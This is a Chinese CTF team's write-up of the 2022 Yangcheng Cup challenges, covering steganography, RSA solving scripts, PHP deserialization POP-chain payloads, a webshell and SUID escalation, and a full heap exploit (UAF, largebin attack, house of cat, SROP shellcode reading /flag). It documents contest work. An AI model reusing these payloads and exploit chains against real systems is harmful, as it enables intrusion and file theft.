2022年“羊城杯”网络安全大赛
前言
战队名称:AGCTF
战队排名:34
终究还是太菜,卷不动,静养回血ing
MISC
签个到
ROT13+base32解密得到flag
flag{806a333fbb6aa7b7ac1a29552994cdfc}
迷失幻境
用DAEMON Tools Lite进行挂载,附件得到一百张图片
发现回收站还有个图片可莉可莉.jpg和一个少文件头的图片,修复一下
可莉可莉.jpg看到hint
一百张几乎一样的图片,使用stegsolve找一张图片和回收站修复的图片对比一下,得到key
Guess,outguess解密
DASCTF{f473a6fd2de17a0c5794414b3905ebbe}
寻宝
所有十六进制数都反了,两两反转一下,得到压缩包
解压得到
是个游戏,背景音一直循环,能听到里面参杂钢琴音六个音调,听了几遍对照着找出来是ccfgcf->114514,应该是密码之一
然后游戏用ce修改一下地址,找到血量地址,改角色生命值
修改锁定后成功修改
游戏截图二十关,密码类型分两部分,前四张图是猪圈,后十六张是差分曼彻斯特编码,对应数字电路信号得到01011111 01100001 00110001 01011111
二进制转str得到
地图前几关是猪圈,但是太抽象了,一直没对照对,直接掩码爆破吧,测试了几回合,发现是这样的顺序???_a1_114514
得到解压密码OWOH_a1_114514
得到flag.txt,是零宽度字符隐写Unicode Steganography with Zero-Width Characters (330k.github.io)用这个在线解密得到flag
GWHT{Wher3_1S_Th4_1gI981O?}
where_is_secret
vig.txt内维吉尼亚解密https://www.guballa.de/vigenere-solver得到password:GWHT@R1nd0yyds
压缩包得bmp文件,比赛中间放的hint是文件加密过程,逆一下得到829962.txt
from PIL import Image
import numpy as np
def int2uni(n):
return ('\\u{:0>4}'.format(n)).encode().decode('unicode_escape')
with open("829962.txt", mode="wb") as flag:
img = Image.open("out.bmp")
data = np.array(img)
w = h = data.shape[0]
z = []
for x in range(w):
for y in range(h):
data1 = data[x,y,:]
data2 = int2uni(str(hex(data1[1])).replace('0x','').rjust(2, '0') +
str(hex(data1[2])).replace('0x','').rjust(2, '0'))
z.append(data2)
for data2 in z:
flag.write(data2.encode())
\#print('ok')
正则匹配删除文字,然后手动删除符号,得到
竖着看,长句删除,得到flag
flag{h1d3_1n_th3_p1ctur3}
躲猫猫
附件流量,wireshark分析一下,可以看到有上传功能
找找流量,找到了上传的文件,是个图片
又再ftp流量中找到压缩包
导出来发现已经损坏,winrar修复一下之后发现需要密码
可以看到key.log没有在加密范围之内,提取一下,后来发现还是显示数据报错,放到linux下解压就正常了,拉出来key.log进行分析,是解密TLS拿到一个图片,是password:20079651941337428
,是压缩包解压密码,解压得到hide&seek.py
发现这个python是对目标图片进行重素
跑一脚本如下:
from PIL import Image
from numpy import array, zeros, uint8
import cv2
import os
image = cv2.imread("zz.png")
\# img_gray = cv2.cvtColor(image,cv2.COLOR_RGB2GRAY)
imagearray = array(image)
\# print(imagearray[0][0][1])
x,y = 5999540678407978169965856946811257903979429787575580150595711549672916183293763090704344230372835328,6310149030391323406342737832910952782997118359318834776480172449836047279615976753524231989362688
l,w = 1800,1800
x1 = round(x/y*0.001, 16)
u1 = y*3650/x
x2 = round(x/y*0.00101, 16)
u2 = y*3675/x
x3 = round(x/y*0.00102, 16)
u3 = y*3680/x
kt = [x1, x2, x3]
temp_image = zeros(shape=[l, w, 3], dtype=uint8)
for k in range(0, 1):
for i in range(0, l):
for j in range(0, w):
x1 = u1 * x1 * (1 - x1)
x2 = u2 * x2 * (1 - x2)
x3 = u3 * x3 * (1 - x3)
r1 = int(x1*255)
r2 = int(x2*255)
r3 = int(x3*255)
for t in range(0, 3):
temp_image[i][j][t] = (imagearray[i][j][t] - ((r1+r2) ^ r3)) % 256
x1 = kt[0]
x2 = kt[1]
x3 = kt[2]
encflagarray = Image.fromarray(temp_image)
encflagarray.show()
encflagarray.save("cat.png")
得到
这是个新型二维码,采用中心定位,二维码补充中心定位(百度识图发现是这种圈圈定位,用ps扣了放上去的)
然后在线识别https://demo.dynamsoft.com/barcode-reader/
得到flag:GWHT{ozqgVLoI1DvK8giNVdvGslr_aZKKwNuv_q-FzqB5N3hHHqn3}
CRYPTO
EasyRsa
先求出c为38127524839835864306737280818907796566475979451567460500065967565655632622992572530918601432256137666695102199970580936307755091109351218835095309766358063857260088937006810056236871014903809290530667071255731805071115169201705265663551734892827553733293929057918850738362888383312352624299108382366714432727
for i in a:
n = int(i)
c = pow(m, e, n)
m = c
print ('c = %s' % (m))
脚本如下
from gmpy2 import *
from Crypto.Util.number import *
e = 65537
f = open("output.txt", "r")
a = f.readlines()
\# print(a)
\# for i in a:
\# n = int(i)
\# c = pow(m, e, n)
\# m = c
\# print ('c = %s' % (m))
f.close()
c = 38127524839835864306737280818907796566475979451567460500065967565655632622992572530918601432256137666695102199970580936307755091109351218835095309766358063857260088937006810056236871014903809290530667071255731805071115169201705265663551734892827553733293929057918850738362888383312352624299108382366714432727
for i in range(11,0,-1):
print(i)
p=gcd(int(a[i]),int(a[i-1]))
q=int(a[i])//p
d=invert(e,(p-1)*(q-1))
m=pow(c,d,int(a[i]))
c=m
print(c)
p=gcd(int(a[1]),int(a[0]))
q=int(a[0])//p
d=invert(e,(p-1)*(q-1))
m=pow(c,d,int(a[0]))
print(m)
print(long_to_bytes(m))
GWHT{gixkJl7SJTcpLOL9zqwo}
LRSA
首先由数据PPQ和PQQ的公约数,求出P,Q
from gmpy2 import *
data1=17550772391048142376662352375650397168226219900284185133945819378595084615279414529115194246625188015626268312188291451580718399491413731583962229337205180301248556893326419027312533686033888462669675100382278716791450615542537581657011200868911872550652311318486382920999726120813916439522474691195194557657267042628374572411645371485995174777885120394234154274071083542059010253657420242098856699109476857347677270860654429688935924519805555787949683144015873225388396740487817155358042797286990338440987035608851331840925854381286767024584195081004360635842976624747610461507795755042915965483135990495921912997789567020652729777216671481467049291624343256152446367091568361258918212012737611001009003078023715854575413979603297947011959023398306612437250872299406744778763429172689675430968886613391356192380152315042387148665654062576525633130546454743040442444227245763939134967515614637300940642555367668537324892890004459521919887178391559206373513466653484926149453481758790663522317898916616435463486824881406198956479504970446076256447830689197409184703931842169195650953917594642601134810084247402051464584676932882503143409428970896718980446185114397748313655630266379123438583315809104543663538494519415242569480492899140190587129956835218417371308642212037424611690324353109931657289337536406499314388951678319136343913551598851601805737870217800009086551022197432448461112330252097447894028786035069710260561955740514091976513928307284531381150606428802334767412638213776730300093872457594524254858721551285338651364457529927871215183857169772407595348187949014442596356406144157105062291018215254440382214000573515515859668018846789551567310531570458316720877172632139481792680258388798439064221051325274383331521717987420093245521230610073103811158660291643007279940393509663374960353315388446956868294358252276964954745551655711981
\# P*P*Q
data2=17632503734712698604217167790453868045296303200715867263641257955056721075502316035280716025016839471684329988600978978424661087892466132185482035374940487837109552684763339574491378951189521258328752145077889261805000262141719400516584216130899437363088936913664419705248701787497332582188063869114908628807937049986360525010012039863210179017248132893824655341728382780250878156526086594253092249935304259986328308203344932540888448163430113818706295806406535364433801544858874357459282988110371175948011077595778123265914357153104206808258347815853145593128831233094769191889153762451880396333921190835200889266000562699392602082643298040136498839726733129090381507278582253125509943696419087708429546384313035073010683709744463087794325058122495375333875728593383803489271258323466068830034394348582326189840226236821974979834541554188673335151333713605570214286605391522582123096490317734786072061052604324131559447145448500381240146742679889154145555389449773359530020107821711994953950072547113428811855524572017820861579995449831880269151834230607863568992929328355995768974532894288752369127771516710199600449849031992434777962666440682129817924824151147427747882725858977273856311911431085373396551436319200582072164015150896425482384248479071434032953021738952688256364397405939276917210952583838731888536160866721278250628482428975748118973182256529453045184370543766401320261730361611365906347736001225775255350554164449014831203472238042057456969218316231699556466298168668958678855382462970622819417830000343573014265235688391542452769592096406400900187933156352226983897249981036555748543606676736274049188713348408983072484516372145496924391146241282884948724825393087105077360952770212959517318021248639012476095670769959011548699960423508352158455979906789927951812368185987838359200354730654103428077770839008773864604836807261909
\# P*Q*Q
P=data1//gcd(data1,data2)
Q=data2//gcd(data1,data2)
print('Q=',Q)
print('P=',P)
解 t=(p*P-58*P+q)%Q
通过x = vector(ZZ, [1, P]),y = vector(ZZ, [0, Q]),m = matrix([x,y]) print(m.LLL())
可求出p和q
p=80736411146583842306585010871034886981016840349026602734742256246556342668178774083233822097872779308174897649383396380481655663281333047577768952571915605685701400990749928642136680236367785948214890529631428970999122918591632651324318444462622996015719163492064450044087392474349767300242266723293755137205+58
q=71239161441539946834999944364158306978517617517717217001776063773301330324729178632534286023377366747004115034635139042058644768011502688969022553791977558750633767627495955645170437100983708648876951588485253787441732757259210010467734037546118780321368088487269039555130213851691659851510403573663333586407+44
然后就rsa一把梭,脚本如下:
from gmpy2 import *
from Crypto.Util.number import *
p= 80736411146583842306585010871034886981016840349026602734742256246556342668178774083233822097872779308174897649383396380481655663281333047577768952571915605685701400990749928642136680236367785948214890529631428970999122918591632651324318444462622996015719163492064450044087392474349767300242266723293755137205+58
q=71239161441539946834999944364158306978517617517717217001776063773301330324729178632534286023377366747004115034635139042058644768011502688969022553791977558750633767627495955645170437100983708648876951588485253787441732757259210010467734037546118780321368088487269039555130213851691659851510403573663333586407+44
e=65537
c=4364802217291010807437827526073499188746160856656033054696031258814848127341094853323797303333741617649819892633013549917144139975939225893749114460910089509552261297408649636515368831194227006310835137628421405558641056278574098849091436284763725120659865442243245486345692476515256604820175726649516152356765363753262839864657243662645981385763738120585801720865252694204286145009527172990713740098977714337038793323846801300955225503801654258983911473974238212956519721447805792992654110642511482243273775873164502478594971816554268730722314333969932527553109979814408613177186842539860073028659812891580301154746
d=invert(e,(p-1)*(q-1))
m=pow(c,d,p*q)
print(long_to_bytes(m))#b'DASCTF{8f3djoj9wedj2_dkc903cwckckdk}'
DASCTF{8f3djoj9wedj2_dkc903cwckckdk}
Web
rce_me
文件包含伪协议读取
php://filter/convert.base64-encode/resource=index.php
dirsearch扫目录
伪协议读1.php,发现是个马
直接上蚁剑
发现得提权,直接date的suid读flag
flag{31240024220504177118549238509448}
step_by_step-v3
构造反序列化,exp如下
<?php
class yang
{
public $y1;
}
class cheng
{
public $c1;
}
class bei
{
public $b1;
}
$a=new yang();
$b=new cheng();
$c=new bei();
$b->c1=$c;
$c->b1=$a;
$a->y1='phpinfo';
echo serialize($b);
// O:5:"cheng":1:{s:2:"c1";O:3:"bei":1:{s:2:"b1";O:4:"yang":1:{s:2:"y1";s:7:"phpinfo";}}}
flag{41398210650048416729033631022641}
Safepop
构造pop链,旨在到达getflag()
需要绕过_wakeup,exp如下
<?php
class Fun{
private $func = "Test::getFlag";
public function __call($f,$p){
call_user_func($this->func,$f,$p);
}
}
class Test{
public function getFlag(){
system("cat /flag?"); // 终点
}
public function __call($f,$p){
phpinfo();
}
}
class A{
public $a;
public function __get($p){ // 由B开始,通过析构函数触发
print(get_class($this->a));
if(preg_match("/Test/",get_class($this->a))){ //这地方限制了,所以要进行绕过
return "No test in Prod\n";
}
return $this->a->$p();
}
}
class B{ // 起点
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}
$huang = new Fun();
$z = new A();
$z->a = $huang;
$payload = new B();
$payload->a = $z;
$payload->p = '';
//echo base64_encode(serialize($payload));
echo serialize($payload);
最后为了能够调用Test,\X00替换,以及改属性值绕过wakeup
O:1:"B":2:{s:1:"p";s:0:"";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":99:{s:9:"%00Fun%00func";s:13:"Test::getFlag";}}}
flag{66639492335825537486481402904936}
PWN
Dream
先check一下看保护
64位程序,看下主体逻辑,发现是个类似于菜单选项的程序
分析一下可以看到free之后没有清除指针,可以利用UAF
需要注意的是返回值restult有一段加密
需要解密之后才能泄露地址。大致思路就出来了:直接利用一次常规的largebin attack来攻击stderr,然后再利用UAF来修改topchunk,从而触发malloc_asssert,最后直接拿来house of cat用就行了
Exp如下:
from pwn import *
address=remote("tcp.dasc.buuoj.cn",28079)
\#address=process("./dream")
elf=ELF("./dream")
libc=ELF("./libc-2.32.so")
context(arch="amd64",os="linux",log_level="debug")
context.terminal = ['gnome-terminal','-x','sh','-c']
def add(index,size,content):
address.sendlineafter("choice: ",'1')
address.sendlineafter("Give me a dream ID: ",str(index))
address.sendlineafter("how long: ",str(size))
address.sendafter("dream: ",content)
def delete(index):
address.sendlineafter("choice: ",'2')
address.sendlineafter("Which dream to wake?",str(index))
def show(index):
address.sendlineafter("choice: ",'4')
address.sendlineafter("Which dream do you want to show?",str(index))
def edit(index,content):
address.sendlineafter("choice: ",'3')
address.sendlineafter("Which dream to make?",str(index))
address.sendafter("dream: ",content)
def decode(chars,len,sercet):
v9 = 52 // len + 6
delta = 0
delta -= v9 * 0x61C88647
delta &= 0xffffffff
bk = chars[0]
while(v9):
for i in range(1,len)[::-1]:
fd = chars[i - 1]
chars[i] -= (((8 * bk) ^ (fd >> 7)) + ((bk >> 3) ^ (16 * fd))) ^ ((bk ^ delta) + (fd ^ sercet[((delta >> 2) & 3) ^ i & 3]))
chars[i] &= 0xffffffff
bk = chars[i]
i -= 1
fd = chars[len - 1]
chars[0] -= (((8 * bk) ^ (fd >> 7)) + ((bk >> 3) ^ (16 * fd))) ^ ((bk ^ delta) + (fd ^ sercet[((delta >> 2) & 3) ^ i & 3]))
chars[0] &= 0xffffffff
bk = chars[0]
delta += 0x61C88647
delta &= 0xffffffff
v9-=1
return chars
sercet = [9,5,2,7]
add(0,0x420,'a')
add(1,0x400,'b')
add(2,0x410,"c")
delete(0)
delete(1)
show(0)
chars1=[]
for a in range(0x420//4):
chars1.append(int.from_bytes(address.recv(4), "little"))
chars1=decode(chars1,0x420//4,sercet)
main_arena=(chars1[0]+(chars1[1]<<32)) - 96
libc_base=main_arena - 0x10 - libc.symbols['__malloc_hook']
success("libc_base = "+hex(libc_base))
stderr_addr=libc_base+libc.symbols['stderr']
set_context=libc_base+libc.symbols['setcontext']+61
show(1)
chars2=[]
for a in range(0x400//4):
chars2.append(int.from_bytes(address.recv(4), "little"))
chars2=decode(chars2,0x400//4,sercet)
heap_base=(chars2[2]+(chars2[3]<<32)) - 0x10
success("heap_base = "+hex(heap_base))
payload=p64(main_arena+96)*2
payload=payload.ljust(0x410,b'\x00')
edit(0,payload)
payload=p64(heap_base>>12)+p64(heap_base+0x10)
payload=payload.ljust(0x400,b'\x00')
edit(1,payload)
add(3,0x440,"d")
delete(2)
payload=p64(0)*3+p64(stderr_addr - 0x20)
edit(0,payload)
add(4,0x4f0,'e')
delete(4)
add(5,0x430,'z')
payload=b'\x00'*0x438+p64(0x70)
edit(4,payload)
fake_addr=heap_base+0xad0 # 伪造的fake的地址
next_chain = 0
fake_FILE=p64(heap_base)
fake_FILE+=p64(0)*7
fake_FILE +=p64(heap_base+0xee0)+p64(0)
fake_FILE +=p64(fake_addr+0xb0)
fake_FILE +=p64(set_context)
fake_FILE = fake_FILE.ljust(0x58, b'\x00')
fake_FILE += p64(0)
\# chain
fake_FILE = fake_FILE.ljust(0x78, b'\x00')
fake_FILE += p64(heap_base+0x1000)
\# lock = a writable address
fake_FILE = fake_FILE.ljust(0x90, b'\x00')
fake_FILE +=p64(fake_addr+0x30)#_wide data
fake_FILE = fake_FILE.ljust(0xB0, b'\x00')
fake_FILE += p64(0)
fake_FILE = fake_FILE.ljust(0xC8, b'\x00')
fake_FILE += p64(libc_base+0x1e4f80+0x10)
fake_FILE +=p64(0)*6
fake_FILE += p64(fake_addr+0x50)
\# rax2_addr
edit(2,fake_FILE)
shellcode_addr=heap_base+0xee0+0x300
frame = SigreturnFrame()
frame.rsp = shellcode_addr+0x20
frame.rdi = heap_base
frame.rsi = 0x10000
frame.rdx = 7
frame.rip = libc_base+libc.symbols['mprotect']
code = shellcraft.open("/flag")
code += shellcraft.read('rax','rsp',0x50)
code += shellcraft.write(1, 'rsp', 0x50)
code += shellcraft.exit(0)
shellcode=asm(code)
payload=bytes(frame)[0x20:].ljust(0x300,b'\x00')+p64(shellcode_addr+0x28)+shellcode
edit(3,payload)
address.sendlineafter("choice: ",'1')
address.sendlineafter("Give me a dream ID: ",str(6))
address.sendlineafter("how long: ",str(0x4f0))
address.interactive()
flag{99132165422532108828180523625259}